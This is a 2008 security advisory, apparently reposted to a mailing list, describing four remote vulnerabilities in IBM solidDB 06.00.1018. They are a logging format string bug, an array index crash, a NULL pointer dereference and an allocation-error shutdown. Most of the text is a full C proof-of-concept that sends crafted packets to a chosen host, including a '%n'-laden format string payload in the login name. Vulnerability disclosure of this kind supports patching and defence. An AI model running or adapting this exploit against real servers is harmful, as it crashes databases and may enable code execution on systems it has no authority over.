[NEWS] SolidDB Multiple Vulnerabilities
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- Date: 31 Mar 2008 12:55:48 +0200
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SolidDB Multiple Vulnerabilities
------------------------------------------------------------------------
SUMMARY
"
<http://www.solidtech.com/en/products/relationaldatabasemanagementsoftware/embed.asp> solidDB 6 is a relational database designed for fast, always-on access to data under high throughput conditions, to satisfy the real-time demands of communications platforms and applications. It includes both in-memory and on-disk engines, accessed by a single SQL interface." Multiple vulnerabilities have been found in SolidDB, these vulnerabilities allow a remote attacker to crash the server, as well as cause it to execute arbitrary code.
DETAILS
Vulnerable Systems:
* IBM solidDB version 06.00.1018
Format string in logging function
The logging function used for keeping tracks of the various errors and
operations (like wrong logins) is affected by a format string
vulnerability exploitable for example using a malformed user or peer name.
Crash caused by arbitrary array index
A 32 bit number provided by the client is used on the server as an index
for reading some values in an array, a too big number can be used to crash
the server due to the access to invalid memory.
NULL pointer
A NULL pointer vulnerability can be exploited through the sending of a
specific type of packet.
Server termination through allocation error
A malformed packet can be used to terminate the server with the error
message "Out of central memory" caused by the impossibility of allocating
a certain amount of memory.
Exploit:
/*
by Luigi Auriemma - http://aluigi.org/poc/soliduro.zip
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
#define VER "0.1"
#define PORT 1315
#define BUFFSZ 0xffff
int solid_send(int sd, int type1, int type2, u8 *data, int len);
int putcc(u8 *data, int chr, int len);
int putsn(u8 *data, u8 *str);
int putmm(u8 *data, u8 *str, int len);
int putxx(u8 *data, u32 num, int bits);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
type1,
type2,
attack;
u16 port = PORT;
u8 *buff,
*p;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"solidDB <= 06.00.1018 multiple vulnerabilities "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@xxxxxxxxxxxxx\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(%hu)]\n"
"\n"
"Attacks:\n"
" 1 = format string in logging function\n"
" 2 = crash caused by arbitrary array index\n"
" 3 = NULL pointer\n"
" 4 = server termination through allocation error\n"
"\n", argv[0], port);
exit(1);
}
attack = atoi(argv[1]);
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr),
ntohs(peer.sin_port));
buff = malloc(BUFFSZ);
if(!buff) std_err();
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
p = buff;
if(attack == 1) {
type1 = 1;
type2 = 0xd;
*p++ = 0;
*p++ = 0;
*p++ = 0;
p += putxx(p, 0x01020304, 32);
p += putxx(p, 6, 32);
p += putxx(p, 1, 32);
p += putsn(p, "%n%n%n%n%s%s%s%s%n");
p += putsn(p, "PASSWORD"); // hashed
p += putxx(p, 2002, 32);
p += putsn(p, "myhost");
p += putxx(p, 4009, 32); *p++ = 1;
p += putxx(p, 4008, 32); *p++ = 0;
p += putxx(p, 4007, 32); *p++ = 1;
p += putxx(p, 4005, 32); *p++ = 1;
p += putxx(p, 4004, 32); *p++ = 1;
p += putxx(p, 4, 32);
p += putxx(p, 268, 32);
p += putxx(p, 4003, 32); *p++ = 0;
p += putxx(p, 4002, 32); *p++ = 1;
p += putxx(p, 0, 32);
} else if(attack == 2) {
type1 = 3;
type2 = 2;
*p++ = 0;
*p++ = 0;
*p++ = 0;
p += putxx(p, 0x01020304, 32); // index number
} else if(attack == 3) {
type1 = 0;
type2 = 0x11;
*p++ = 0;
*p++ = 0;
*p++ = 0;
} else if(attack == 4) {
type1 = 0;
type2 = 0x12;
*p++ = 0;
*p++ = 0;
*p++ = 0;
p += putxx(p, 0, 32);
p += putxx(p, 0x80000, 32);
p += putxx(p, 0x7fffffff, 32);
} else {
printf("\nError: wrong attack number\n");
exit(1);
}
solid_send(sd, type1, type2, buff, p - buff);
while(!timeout(sd, 3)) {
len = recv(sd, buff, BUFFSZ, 0);
if(len < 0) break;
printf("- received %d bytes\n", len);
}
close(sd);
printf("- done\n");
return(0);
}
int solid_send(int sd, int type1, int type2, u8 *data, int len) {
u8 hdr[8],
*p;
p = hdr;
p += putxx(p, 0x02, 8);
p += putxx(p, 0x00, 8);
p += putxx(p, 0x00, 8);
p += putxx(p, (type1 >> 8) | (type1 << 8), 16); // swapped 0 - 12
p += putxx(p, (type2 >> 8) | (type2 << 8), 16); // swapped 0 - 26
p += putxx(p, 0x01, 8);
printf("- send %d bytes\n", 8 + len);
send(sd, hdr, 8, 0);
send(sd, data, len, 0);
return(0);
}
int putcc(u8 *data, int chr, int len) {
memset(data, chr, len);
return(len);
}
int putsn(u8 *data, u8 *str) {
int len;
len = strlen(str);
putxx(data, len, 32);
memcpy(data + 4, str, len);
return(4 + len);
}
int putmm(u8 *data, u8 *str, int len) {
memcpy(data, str, len);
return(len);
}
int putxx(u8 *data, u32 num, int bits) {
int i,
bytes;
bytes = bits >> 3;
for(i = 0; i < bytes; i++) {
data[i] = (num >> ((bytes - 1 - i) << 3)) & 0xff;
}
return(bytes);
}
int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;
tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
if(select(sock + 1, &fd_read, NULL, NULL, &tout)
<= 0) return(-1);
return(0);
}
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@xxxxxxxxxxxxx> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/soliduro-adv.txt>
http://aluigi.altervista.org/adv/soliduro-adv.txt
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